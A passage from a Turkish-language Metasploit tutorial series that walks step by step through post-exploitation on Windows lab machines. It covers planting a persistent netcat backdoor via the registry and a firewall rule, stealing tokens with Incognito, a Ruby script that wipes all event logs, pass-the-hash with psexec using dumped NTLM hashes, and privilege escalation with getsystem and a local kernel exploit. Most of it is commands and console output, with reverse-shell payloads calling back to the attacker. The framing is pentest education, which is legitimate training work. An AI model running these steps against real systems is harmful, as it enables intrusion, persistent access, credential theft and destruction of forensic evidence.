2489 82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
2685 96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t```
2.30 - MSF Registry Üzerinde Çalışma
Windows Registry ayarları, neredeyse tüm işlemlerin kayıtlarının tutulduğu sihirli bir alan gibidir. Bu alanda yapacağınız tek bir değişiklik, sistemde gerekli yetkiyi almanızı sağlayabilir. Bunun yanında, yapılacak hatalı bir işlem ise sistemin bir daha açılmamasına da sebep olabilir. Dikkatli ve acele etmeden hareket etmek gerekmektedir.
Windows Registry İşlemleri
Windows Registry ayarları, neredeyse tüm işlemlerin kayıtlarının tutulduğu sihirli bir alan gibidir. Bu alanda yapacağınız tek bir değişiklik, sistemde gerekli yetkiyi almanızı sağlayabilir. Bunun yanında, yapılacak hatalı bir işlem ise sistemin bir daha açılmamasına da sebep olabilir. Dikkatli ve acele etmeden hareket etmek gerekmektedir.
Meterpreter, Windows Registry üzerinde işlem yapmanızı sağlayacak bir çok komut sunmaktadır. Bunlara kısaca bakalım. Bir sistemde Meterpreter shell açtığınızda reg komutunu verdiğinizde yardım bilgilerini görebilirsiniz.
meterpreter > reg
Usage: reg **[**command**]** **[**options]Interact with the target machine's registry.
OPTIONS:
-d The data to store in the registry value.
-h Help menu.
-k The registry key path (E.g. HKLM\Software\Foo).
-t The registry value type(E.g. REG_SZ).
-v The registry value name (E.g. Stuff).
COMMANDS:
enumkey Enumerate the supplied registry key [-k >key>] createkey Create the supplied registry key [-k >key>] deletekey Delete the supplied registry key [-k >key>] queryclass Queries the class of the supplied key [-k >key>] setval Set a registry value [-k >key> -v >val> -d >data>] deleteval Delete the supplied registry value [-k >key> -v >val>] queryval Queries the data contents of a value [-k >key> -v >val>]
Yardım komutunun sonucunda görebileceğiniz gibi, reg komutu, Registry üzerinde okuma (queryval), yazma (setval), yeni ayarlama oluşturma (createkey) ve silme (deletekey) olanağı sağlamaktadır.
Bu komutlar sayesinde yeni değerler oluşturma, değerleri değiştirme yapabileceğiniz gibi doğru yerlere bakarak sistem hakkında bilgi toplama işlemleri de yapabilirsiniz. Windows Registry içerisinde hangi değerin nerede kayıt edildiği hakkında kendinizi geliştirmenizi tavsiye ediyorum. Bir fikir vermesi açısından bağlantıda bulunan PDF dosyasını inceleyebilirsiniz. List
Kalıcı Netcat Arka Kapısı
Aşağıda adım adım gerçekleştireceğimiz örnekte, hedef sisteme netcat programını yerleştireceğiz. Registry ayarlarında işlemler yaparak netcat programının bilgisayar açıldığında otomatik başlamasını ayarlayacağız. Sistemde bulunan Firewall ayarlarının, netcat programına ve 445 numaralı porta müsaade etmesini sağlayacağız.
nc.exe Programını Yükleme
Öncelikle hedef Windows işletim sisteminin içerisine nc.exe olarak bilinen netcat programını yükleyelim. Bunun için önceden bir şekilde meterpreter shell açmış olmalısınız. Bununla ilgili örnekleri önceki yazılarımızda belirtmiştik. Kali işletim sistemi içerisinde /usr/share/windows-binaries/ klasöründe faydalı bir kaç programı bulabilirsiniz.
nc.exe programının işletim sisteminin her başladığında çalışması için Registry içinde HKLM\software\microsoft\windows\currentversion\run anahtarına bir değer oluşturmalısınız. Öncelikle, mevcut değerleri ve ayarları görelim. Ters \ işaretlerinin iki defa yazıldığına dikkat edin.
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run
Values **(**3**)**:
VMware Tools
VMware User Process
quicktftpserver
Komut çıktısında görüldüğü gibi şu an için VMware Tools, VMware User Process, quicktftpserver yazılımları otomatik başlamaya ayarlanmış durumda. Biz yeni ayarımızı reg setval komutu ile ilave edelim ve reg queryval komutu ile tekrar kontrol edelim.
Doğrudan Registry ayarlarından yapabileceğinizi gibi netsh komutu ile de firewall ayarlarını yapabilirsiniz. Kullanımı göstermek açısından, firewall ayarlarını komut satırından ayarlayalım. Bunun için Meterpreter komut satırından Windows komut satırına girelim.
meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\ >
Firewall ayarlarının mevcut halini görelim.
C:\ > netsh firewall show opmode
Netsh firewall show opmode
Domain profile configuration:
-------------------------------------------------------------------
Operational mode **=** Enable
Exception mode **=** Enable
Standard profile configuration **(**current**)**:
-------------------------------------------------------------------
Operational mode **=** Enable
Exception mode **=** Enable
Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode **=** Enable
Şimdi 445 numaralı Portu izin verilen Portlar arasına ekleyelim.
C:\ > netsh firewall add portopening TCP 445"Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 445"Service Firewall" ENABLE ALL
Ok.
Yaptığımız işlemin hayata geçip geçmediğini kontrol edelim.
C:\ > netsh firewall show portopening
netsh firewall show portopening
Port configuration **for **Domain profile:
Port Protocol Mode Name
-------------------------------------------------------------------
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service
Port configuration **for **Standard profile:
Port Protocol Mode Name
-------------------------------------------------------------------
445 TCP Enable Service Firewall
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service
C:\ >
Hedef sistem tekrar başladığında nc.exe otomatik olarak çalışacak ve dışarıdan bağlantılara imkan sağlayacaktır. Aşağıdaki örnekte nc komutuyla hedef sisteme bağlanılabildiği görülmektedir.
root@kali:~# nc -v 172.16.104.128 445172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
**(**UNKNOWN**)** **[**172.16.104.128]445 **(**?**)** open
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\ > dir
dir
Volume **in **drive C has no label.
Volume Serial Number is E423-E726
Directory of C:\
05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File**(**s**)** 0 bytes
6 Dir**(**s**)** 35,540,791,296 bytes free
C:\ >
Gerçek durumlarda, böyle bir arka kapı açmak bu kadar kolay olmasa da uygulanacak işlemlerin mantığı yukarıda anlatıldığı gibidir. Bu yazıda, Registry kayıtları kullanarak bir arka kapı açmanın mantığını açıklamaya çalıştık. Yukarıdaki örneği birebir uygulayıp başarısız olursanız umutsuzluğa kapılmayın. Daha sıkı çalışın.
2.31 - MSF Incognito
Bir sisteme giriş yaptığınızda, sistemde bulunan kullanıcılara ait token adı verilen izin ve yetkilendirme kuralları bulunur. Bu kurallar, web uygulamalarında kullanılan cookie denilen çerez dosyalarına benzer. Kullanıcı ağdaki bir servise (örn. Net drive) ilk bağlandığında kullanıcı adı ve parolasıyla oturum açar. Oturum açıldığında sistem bu kullanıcıya bir token tanımlar. Artık bilgisayar kapanana kadar tekrar tekrar parola girmeden, sistemde bulunan servisi kullanma imkanı olacaktır.
Incognito Nedir?
Bir sisteme giriş yaptığınızda, sistemde bulunan kullanıcılara ait token adı verilen izin ve yetkilendirme kuralları bulunur. Bu kurallar, web uygulamalarında kullanılan cookie denilen çerez dosyalarına benzer. Kullanıcı ağdaki bir servise (örn. Net drive) ilk bağlandığında kullanıcı adı ve parolasıyla oturum açar. Oturum açıldığında sistem bu kullanıcıya bir token tanımlar. Artık bilgisayar kapanana kadar tekrar tekrar parola girmeden, sistemde bulunan servisi kullanma imkanı olacaktır.
Pentest işlemleri esnasında bu token ve yetkilerini ele geçirerek kullanmaya incognito işlemi denilmektedir. token izinleri, ikiye ayrılmaktadır. Bunlara delegate ve impersonate adı verilmektedir. Okuyucunun kafasının karışmaması için biz de İngilizce şekillerini kullanmaya devam edeceğiz.
Delegate: token izinleri beyan ediciler olarak kullanılır. Etkileşimli oturumlarda, örneğin uzak masaüstü bağlantıları tarzında işlemler için kullanılırlar.
Impersonate: token izinleri kişisel olarak üretilmiş izinlerdir ve etkileşim olmayan servisler için kullanılırlar. Örneğin bir ağ klasörüne bağlanmak gibi.
Dosya sunucuları bu token izinleri için çok zengin bir bilgi kaynağıdırlar.
Hedef sistemde bir token ele geçirdiğinizde, artık bir servise bağlanmak için o kullanıcının parolasını bilmeye gerek kalmaz çünkü yetkilendirme önceden yapılmıştır ve yetki kontrolü token iznine güvenilerek arka planda yapılır. Bir sistemde meterpreter shell açıldığında kullanılabilir durumda olan token listesi kontrol edilmelidir.
Meterpreter Oturum Açalım
Aşağıdaki örnekte, öncelikle ms08_067_netapi modülü kullanılarak gerekli ayarlar yapılmakta ve bir oturum açılmaktadır.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit**(**ms08_067_netapi**)** > set RHOST 10.211.55.140
RHOST **=>** 10.211.55.140
msf exploit**(**ms08_067_netapi**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**ms08_067_netapi**)** > set LHOST 10.211.55.162
LHOST **=>** 10.211.55.162
msf exploit**(**ms08_067_netapi**)** > set LANG english
LANG **=>** english
msf exploit**(**ms08_067_netapi**)** > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English **(**NX**)**
4 Windows XP SP3 English **(**NX**)**
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English **(**NO NX**)**
7 Windows 2003 SP1 English **(**NX**)**
8 Windows 2003 SP2 English **(**NO NX**)**
9 Windows 2003 SP2 English **(**NX**)**
10 Windows XP SP2 Arabic **(**NX**)**
11 Windows XP SP2 Chinese - Traditional / Taiwan **(**NX**)**
msf exploit**(**ms08_067_netapi**)** > set TARGET 8target **=>** 8msf exploit**(**ms08_067_netapi**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Triggering the vulnerability...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Sending stage **(**2650 bytes**)**
> Sleeping before handling stage...
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Meterpreter session 1 opened **(**10.211.55.162:4444 -> 10.211.55.140:1028**)**
meterpreter >
Incognito Modülünü Yükleyelim
Meterpreter oturumu açmayı başardıktan sonra incognito modülünü kullanmamız gerekiyor. Incognito modülü, meterpreter e ait bir modül olduğundan use incognito komutuyla modülü aktif hale getiriyoruz. Ardından help komutunu verdiğinizde, incognito modülüne özel komutları görebiliriz.
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > helpIncognito Commands
**==================**
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes **for **every token
meterpreter >
Sistemdeki token Listesi
Meterpreter içerisinde incognito modülünü yükledikten sonra list_tokens komutuyla listeyi kontrol edelim. Listede bulunan bir takım token izinlerine Administrator kullanıcılarının bile erişimi olmayabilir. Bizim en fazla ilgileneceğimiz tür SYSTEM token izinleridir.
meterpreter > list_tokens -u
Delegation Tokens Available
**========================================**
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY ETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\Administrator
Impersonation Tokens Available
**========================================**
NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
Yukarıda listede bulunan SNEAKS.IN\Administrator isimli token fark ettiyseniz Delegation listesinde bulunmaktadır. Bunu Impersonation haline getirerek kişiselleştirmeniz gerekmektedir. Bunun için impersonate_token komutunu kullanacağız. Komutu girerken iki adet \\ işareti kullanmaya dikkat edin. Listede \ tek olsa da komutu girerken iki adet girilmelidir.
meterpreter > impersonate_token SNEAKS.IN\\Administrator
**[**+] Delegation token available
**[**+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
Server username: SNEAKS.IN\Administrator
meterpreter >
Komut başarıyla sonlandığında getuid komutuyla kullanıcı kimliğini kontrol ettiğimizde Server username: SNEAKS.IN\Administrator sonucu aldık.
Yeni Kullacı ile Shell Açma
Meterpreter içerisinde execute -f cmd.exe -i -t komutu ile komut satırında oturum açalım ve whoami komutuyla Windows kullanıcı kimliğine bakalım. Burada -i seçeneği interact* yani etkileşimli, -t seçeneği ise yeni ele geçirdiğimiz SNEAKS.IN\Administrator token iznini kullanmayı ifade eder.
meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administrator
C:\WINDOWS\system32>
Kişisel bilgisayarlarda karşılaşabileceğiniz token izinlerine, sunucu bilgisayarlarda daha çok rast gelebilirsiniz. Sunucularda bir çok servis etkileşimli ve çok kullanıcılı olarak çalıştığından liste daha uzun olacaktır. Bunların arasından en çok yetkili token izinleri denemelisiniz.
2.32 - MSF Log Yönetimi
Bazen hedef bilgisayarda yaptığınız işlemlerin log kayıtlarını temizlemek isteyebilirsiniz. Bu temizleme işlemi için öncelikle meterpreter in sağladığı winenum script kodlarının nasıl çalıştığına bakalım. Script dosyasını Metasploit Framework klasörünüzün altında /usr/share/metasploit-framework/scripts/meterpreter/winenum.rb adresinde bulabilirsiniz. Bu dosya içerisinde bir çok bölüm bulunmaktadır. Biz şimdilik sadece # Function for clearing all event logs kısmıyla ilgileneceğiz.
Bazen hedef bilgisayarda yaptığınız işlemlerin log kayıtlarını temizlemek isteyebilirsiniz. Bu temizleme işlemi için öncelikle meterpreter in sağladığı winenum script kodlarının nasıl çalıştığına bakalım. Script dosyasını Metasploit Framework klasörünüzün altında /usr/share/metasploit-framework/scripts/meterpreter/winenum.rb adresinde bulabilirsiniz. Bu dosya içerisinde bir çok bölüm bulunmaktadır. Biz şimdilik sadece # Function for clearing all event logs kısmıyla ilgileneceğiz.
# Function for clearing all event logsdef clrevtlgs**()**
evtlogs **=** **[**
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service' **]**
print_status**(**"Clearing Event Logs, this will leave and event 517"**)**
begin
evtlogs.each **do** |evl| print_status**(**"\tClearing the #{evl} Event Log"**)**
log **=** @client.sys.eventlog.open**(**evl**)**
log.clear
file_local_write**(**@dest,"Cleared the #{evl} Event Log"**)**
end
print_status**(**"All Event Logs have been cleared"**)**
rescue ::Exception **=>** e
print_status**(**"Error clearing Event Log: #{e.class} #{e}"**)**
end
end
Programlama ile ilgilenenler kodları ve fonksiyonun nasıl çalıştığını rahatlıkla anlayacaktır. Yukarıdaki kodların ne işe yaradığını özetle açıklayalım. evtlogs.each do |evl| döngüsü, Windows’a ait ‘security’, ‘system’, ‘application’, ‘directory service’, ‘dns server’ ve ‘file replication service’ loglarını sırasıyla açar ve temizler.
Şimdi, hazır script yerine yukarıdaki dosyadan örnek alarak kendi script kodumuzu oluşturalım ve kaydedelim. Bunun için Meterpreter içnde Ruby kodlamayı kullanacağız. Temizlikten önce Windows Log durumunu aşağıdaki resimden görebilirsiniz.
Biz sadece ‘system’ loglarını temizlemek istediğimizden yukarıdaki döngü içerisinden sadece log = client.sys.eventlog.open(‘system’) durumunu kullanacağız.
Bu kısımda deneme yapıyoruz
Öncelikle hedef bilgisayarda bir meterpreter shell açmış olmalıyız.
msf exploit**(**warftpd_165_user**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Sending stage **(**2650 bytes**)**
> Sleeping before handling stage...
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Meterpreter session 2 opened **(**172.16.104.130:4444 -> 172.16.104.145:1246**)**
Ardından meterpreter shell içerisinden Ruby kodlayıcısını irb komutuyla çalıştırıyoruz ve aşağıdaki kodları yapıştırıyoruz.
Meterpreter içerisinde Ruby kodlayıcısı kullanarak basit bir log temizleme denemesi yaptık ve yaptığımız kontrolde başarılı olduk. Bu yaklaşımı kullanarak kendi Script kodlarımızı yazabiliriz.
Tüm Logları Temizleme
Aşağıdaki kodları bir dosyaya yazarak /usr/share/metasploit-framework/scripts/meterpreter/ klasörüne clearlogs.rb adıyla kaydedin.
evtlogs **=** **[**
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service' **]**
print_line**(**"Clearing Event Logs, this will leave an event 517"**)**
evtlogs.each **do** |evl| print_status**(**"Clearing the #{evl} Event Log"**)**
log **=** client.sys.eventlog.open**(**evl**)**
log.clear
end
print_line**(**"All Clear! You are a Ninja!"**)**
Artık bu yeni oluşturduğunuz Script kodlarını yeni açtığınız Meterpreter oturumlarında çalıştırabilirsiniz.
msf exploit**(**warftpd_165_user**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Sending stage **(**2650 bytes**)**
> Sleeping before handling stage...
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Meterpreter session 1 opened **(**172.16.104.130:4444 -> 172.16.104.145:1253**)**
meterpreter > run clearlogs
Clearing Event Logs, this will leave an event 517> Clearing the security Event Log
> Clearing the system Event Log
> Clearing the application Event Log
> Clearing the directory service Event Log
> Clearing the dns server Event Log
> Clearing the file replication service Event Log
All Clear! You are a Ninja!
meterpreter > exit
Aşağıdaki resimde görüldüğü gibi tüm loglar temizlenmiştir. Geriye sadece 517 numaralı işlem kalmıştır. O işlemde halen meterpreter’in çalıştığı proses olduğundan halen aktif durumdadır.
Bu yazıda, Metasploit Framework içerisinde bulunan Scriptleri örnek alarak kendi script dosyamızı yazmayı ve log temizlemeyi göstermeye çalıştık. /usr/share/metasploit-framework/scripts/meterpreter/ klasöründe bulunan diğer script dosyalarını da incelemenizi tavsiye ediyoruz. Bu sayede elinizdeki imkanları da öğrenmiş olacaksınız.
2.33 - MSF PSEexec Pass the Hash
psexec modülü, genellikle pentest işlemleri esnasında kullanılır. Bu modül sayesine hedef sisteme giriş yapmanız mümkün hale gelmektedir. Alışılmış kullanımda, sistemin kullanıcı adı ve parolasını elde ettiğiniz ve bunu exploit modülüne değişken olarak girmeniz yeterlidir.
psexec modülü, genellikle pentest işlemleri esnasında kullanılır. Bu modül sayesine hedef sisteme giriş yapmanız mümkün hale gelmektedir. Alışılmış kullanımda, sistemin kullanıcı adı ve parolasını elde ettiğiniz ve bunu exploit modülüne değişken olarak girmeniz yeterlidir.
Normalde izlenen yol, sistemde meterpreter shell açıldığında fgdump, pwdump veya cachedump komutlarıyla parola elde etmektir. Bu aramalar esnasında bulduğunuz hash değerleri olursa, bunları çeşitli araçlar kullanarak çözmeye ve parolaların açık halini elde etmeye çalışırız.
Oysa bazen başka bir durumla karşı karşı kalabilirsiniz. Bir sistemde Administrator yetkili bir oturum açtınız ve kullanıcının hash olarak formatlı parolasını elde ettiniz. Bu oturum açtığınız sistem üzerinden aynı ağda bulunan başka bir sisteme bağlanmak istediğinizde, Administrator kullanıcısının parolasını çözmenize gerek olmayabilir. Genellikle ağdaki cihazlar bu hash değerleri kulanarak haberleşirler. psexec modülü, bulduğunuz hash değerini parola olarak kullanmanıza olanak sağlar.
UYARI-1:
NTLM kullanan sistemde, bulacağınız `hash` değeri `******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c` formatındaysa, baş taraftaki `******NOPASSWORD*******` kısmını 32 adet sıfır ile değiştirerek `psexec` içine değişken olarak girmeniz gerekir. Yani değer, `00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c` şeklinde olmalıdır.
UYARI-2:
Lab ortamında, doğru hash değeri girdiğiniz halde `STATUS_ACCESS_DENIED (Command=117 WordCount=0)` hatası alıyorsanız, hedef Windows sisteminin Registry ayarlarında `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters` içerisinde `RequireSecuritySignature` değerini `0` olarak ayarlamalısınız.
Hashdump
Aşağıda, bir exploit kullanılarak Meterpreter oturumu açılmıştır ve post/windows/gather/hashdump modülü ile sistemde hash değerleri bulunmak istenmektedir.
> Meterpreter session 1 opened **(**192.168.57.133:443 -> 192.168.57.131:1042**)**
meterpreter > run post/windows/gather/hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >```Görüldüğü gibi, `RHOST: 192.168.57.131` IP adresinde bulunan Administrator kullanıcısına ait `e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c` değeri elde edilmiştir.
Şimdi bu hash değerini kullanarak `RHOST: 192.168.57.140` IP adresine oturum açmayı deneyelim. Tabii ki önceden yaptığınız taramada aynı ağda `192.168.57.140` IP adresinde ve `445` portunda `SMB` servisinin çalıştığını keşfettiğinizi kabul ediyoruz.
## psexecÖnce `msfconsole` ile Metasploit Framework başlatalım ve `psexec` modülünü yükleyelim.
```bash
root@kali:~# msfconsole
## ### ## #### ## #### ###### #### ##### ##### ## #### ############# ## ## ## ## ## ## ## ## ## ## ### ######### ###### ## ##### #### ## ## ## ## ## ## #### # ## ## ## ## ## ## ##### ## ## ## ## #### ## #### ### ##### ##### ## #### #### #### ##### **=[** metasploit v4.2.0-dev **[**core:4.2 api:1.0]+ -- --**=[** 787 exploits - 425 auxiliary - 128 post
+ -- --**=[** 238 payloads - 27 encoders - 8 nops
**=[** svn r14551 updated yesterday **(**2012.01.14**)**
msf > search psexec
Exploits
**========**
Name Description
---- -----------
windows/smb/psexec Microsoft Windows Authenticated User Code Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution
msf > use exploit/windows/smb/psexec
msf exploit**(**psexec**)** > set payload windows/meterpreter/reverse_tcp
payload **=>** windows/meterpreter/reverse_tcp
msf exploit**(**psexec**)** > set LHOST 192.168.57.133
LHOST **=>** 192.168.57.133
msf exploit**(**psexec**)** > set LPORT 443LPORT **=>** 443msf exploit**(**psexec**)** > set RHOST 192.168.57.140
RHOST **=>** 192.168.57.140
msf exploit**(**psexec**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.57.140 yes The target address
RPORT 445 yes Set the SMB service port
SMBPass no The password **for **the specified username
SMBUser Administrator yes The username to authenticate as
Payload options **(**windows/meterpreter/reverse_tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.57.133 yes The local address
LPORT 443 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic```## SMBPassYukarıda görüldüğü gibi `exploit/windows/smb/psexec` modülünde `SMBPass` değişkenini girmemiz gerekmektedir. `SMBPass` değişkenine elimizde bulunan hash değerini girelim ve modülü `exploit` komutuyla çalıştıralım.
```bash
msf exploit**(**psexec**)** > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass **=>** e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit**(**psexec**)** > exploit
> Connecting to the server...
> Started reverse handler
> Authenticating as user 'Administrator'...
> Uploading payload...
> Created \KoVCxCjx.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.140[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.140[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service **(**XKqtKinn - "MSSeYtOQydnRPWl"**)**...
> Closing service handle...
> Opening service...
> Starting the service...
> Removing the service...
> Closing service handle...
> Deleting \KoVCxCjx.exe...
> Sending stage **(**719360 bytes**)**
> Meterpreter session 1 opened **(**192.168.57.133:443 -> 192.168.57.140:445**)**
meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows **[**Version 5.2.3790]**(**C**)** Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Gördüğünüz gibi 192.168.57.140 IP adresinde oturum açılmıştır.
2.34 - MSF Yetki Yükseltme
Bu yazımızdan itibaren yetki yükseltme olarak ifade edilen (İng: Privilege Escalation) kavramı inceleyeceğiz. Karşı sisteme erişim sağlayan güvenlik denetçisini bu aşamadan itibaren ilerleme sağlamayı hedeflemelidir. Ağda devam eden iletişimi kontrol etme, hash değerlerini elde etme bunlara örnek olarak verilebilir. Bir diğer hedef ise, bu bilgisayarı basamak olarak kullanarak (İng: Pivoting) başka bilgisayarlara erişim sağlamak olmalıdır.
Ya sonra?
Bir sistemin zafiyetini bulmak için gerekli çalışmaları yaptınız. Açık noktasını buldunuz ve doğru adımları uyguladıktan sonra hedef bilgisayarda bir komut satırı açmayı başardınız. Peki bundan sonra ne yapılmalı?
Bu yazımızdan itibaren yetki yükseltme olarak ifade edilen (İng: Privilege Escalation) kavramı inceleyeceğiz. Karşı sisteme erişim sağlayan güvenlik denetçisini bu aşamadan itibaren ilerleme sağlamayı hedeflemelidir. Ağda devam eden iletişimi kontrol etme, hash değerlerini elde etme bunlara örnek olarak verilebilir. Bir diğer hedef ise, bu bilgisayarı basamak olarak kullanarak (İng: Pivoting) başka bilgisayarlara erişim sağlamak olmalıdır.
Kullandığınız zafiyet ve buna yönelik exploit modülü karşı bilgisayarda oturum açmanıza yaramış olsa bile yetkisiz bir oturum açmış olabilirsiniz. Bu durumda yapabileceğiniz işlemler kısıtlı olacaktır. Böyle durumlar için Metasploit Framework içerisinde bulunan bir kaç alternatif modül bulunmaktadır. bunlardan bir tanesi de getsystem komutudur.
Yetkisiz Oturum
Aşağıdaki örnekte görüldüğü gibi, hedef sistemde ms10_002_aurora modülü kullanılarak yetkisiz bir meterpreter oturumu açılmıştır.
msf exploit**(**ms10_002_aurora**)** >
> Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.161
> Sending stage **(**748544 bytes**)** to 192.168.1.161
> Meterpreter session 3 opened **(**192.168.1.71:38699 -> 192.168.1.161:4444**)** at 2010-08-21 13:39:10 -0600
msf exploit**(**ms10_002_aurora**)** > sessions -i 3> Starting interaction with 3...
meterpreter > getuid
Server username: XEN-XP-SP2-BARE\victim
meterpreter >
GetSystem
getsystem komutunu kullanabilmek için öncelikle priv eklentisini sisteme yükleyelim.
meterpreter > use priv
Loading extension priv...success.
meterpreter >
getsystem -h komutunda olduğu gibi -h parametresini kullandığınızda kullanılabilir seçenekleri görebilirsiniz.
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)2 : Service - Named Pipe Impersonation (Dropper/Admin)3 : Service - Token Duplication (In Memory/Admin)
meterpreter >
```getsystem
``` komutuna hiçbir parametre vermezseniz, varsayılan olarak tüm ihtimalleri deneyecektir.
```sh
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Yerel Exploit Kullanma
Bazı durumlarda getsystem başarısız olur. Aşağıda bunun örneğini görebilirsiniz. getsystem başarısız olduğunda oturumu arka plana gönderip, Metasploit Framework içerisindeki diğer exploit modüllerini kullanmak gerekmektedir.
Yukarıda başarısız olmuş bir getsystem komutu çıktısı görülüyor. Şimdi bunu arka plana gönderelim ve kullanılabilir durumdaki yerel exploit modüllerine bakalım.
meterpreter > background
> Backgrounding session 1...
msf exploit**(**ms10_002_aurora**)** > use exploit/windows/local/
...snip...
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
...snip...
use exploit/windows/local/ms10_015_kitrap0d
use exploit/windows/local/ms10_092_schelevator
use exploit/windows/local/ms11_080_afdjoinleaf
use exploit/windows/local/ms13_005_hwnd_broadcast
use exploit/windows/local/ms13_081_track_popup_menu
...snip...
msf exploit**(**ms10_002_aurora**)** >
Bu listedeki modüllerden exploit/windows/local/ms10_015_kitrap0d modülünü kullanalım.
msf exploit**(**ms10_002_aurora**)** > use exploit/windows/local/ms10_015_kitrap0d
msf exploit**(**ms10_015_kitrap0d**)** > set SESSION 1msf exploit**(**ms10_015_kitrap0d**)** > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit**(**ms10_015_kitrap0d**)** > set LHOST 192.168.1.161
msf exploit**(**ms10_015_kitrap0d**)** > set LPORT 4443msf exploit**(**ms10_015_kitrap0d**)** > show options
Module options **(**exploit/windows/local/ms10_015_kitrap0d**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options **(**windows/meterpreter/reverse_tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique **(**accepted: seh, thread, process, none**)**
LHOST 192.168.1.161 yes The listen address
LPORT 4443 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 **(**x86**)**
msf exploit**(**ms10_015_kitrap0d**)** > exploit
> Started reverse handler on 192.168.1.161:4443
> Launching notepad to host the exploit...
**[**+] Process 4048 launched.
> Reflectively injecting the exploit DLL into 4048...
> Injecting exploit into 4048 ...
> Exploit injected. Injecting payload into 4048...
> Payload injected. Executing exploit...
